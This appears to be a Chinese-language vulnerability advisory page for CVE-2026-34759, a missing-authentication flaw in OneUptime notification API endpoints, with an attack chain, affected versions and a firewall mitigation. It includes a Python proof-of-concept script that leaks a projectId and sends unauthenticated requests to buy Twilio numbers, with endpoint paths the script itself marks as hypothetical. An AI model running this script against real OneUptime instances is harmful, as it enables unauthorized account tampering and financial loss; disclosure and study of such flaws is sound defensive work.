IPBUF安全漏洞报告
English
CVE-2026-34759 CVSS 8.1 高危

CVE-2026-34759 OneUptime 身份验证缺失漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34759
漏洞类型
身份验证缺失
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OneUptime

相关标签

OneUptime身份验证缺失权限绕过API安全CVE-2026-34759

漏洞概述

OneUptime 10.0.42之前的版本中,多个通知API端点未注册身份验证中间件。攻击者结合泄露的projectId,无需认证即可调用接口,篡改Twilio账户设置,导致资源损失。

技术细节

该漏洞源于OneUptime在配置Nginx代理时,/notification/路径下的多个API端点遗漏了ClusterKeyAuthorization.isAuthorizedServiceMiddleware中间件验证。攻击者首先利用公共状态页面API泄露的projectId,构造指向受害服务器的恶意HTTP请求。由于服务端未对请求进行身份校验,攻击者可直接调用后端逻辑,在受害者的Twilio账户中执行购买号码或删除告警号码的操作,完全绕过了访问控制机制。

攻击链分析

STEP 1
信息收集
攻击者访问OneUptime的公共Status Page API,获取目标系统的projectId。
STEP 2
漏洞探测
攻击者向/notification/路径下的端点发送请求,确认是否缺少身份验证中间件。
STEP 3
执行攻击
攻击者利用获取的projectId,向未授权端点发送恶意请求(如购买Twilio号码或删除告警号码)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-34759 # Demonstrates the lack of authentication on notification endpoints import requests target_url = "https://target-oneuptime-instance.com" # Step 1: Leak projectId from public Status Page API print("[+] Attempting to leak projectId...") status_api_response = requests.get(f"{target_url}/api/status-page/public") project_id = status_api_response.json().get('data', {}).get('projectId') # Hypothetical extraction if project_id: print(f"[+] ProjectId found: {project_id}") # Step 2: Exploit unauthenticated notification endpoint # Example: Purchasing a phone number via Twilio integration exploit_headers = { "Content-Type": "application/json" # Note: No Authorization header is sent due to the vulnerability } payload = { "projectId": project_id, "phoneNumber": "+15550199", "action": "purchase" } exploit_url = f"{target_url}/notification/endpoint" # Hypothetical vulnerable endpoint response = requests.post(exploit_url, json=payload, headers=exploit_headers) if response.status_code == 200: print("[+] Exploit successful! Action performed without authentication.") else: print("[-] Exploit failed.") else: print("[-] Could not retrieve projectId.")

影响范围

OneUptime < 10.0.42

防御指南

临时缓解措施
在未升级版本前,建议在网络边界(如防火墙或WAF)阻断对/notification/路径的外部访问请求,或临时禁用相关的Twilio集成功能以防止资源被滥用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表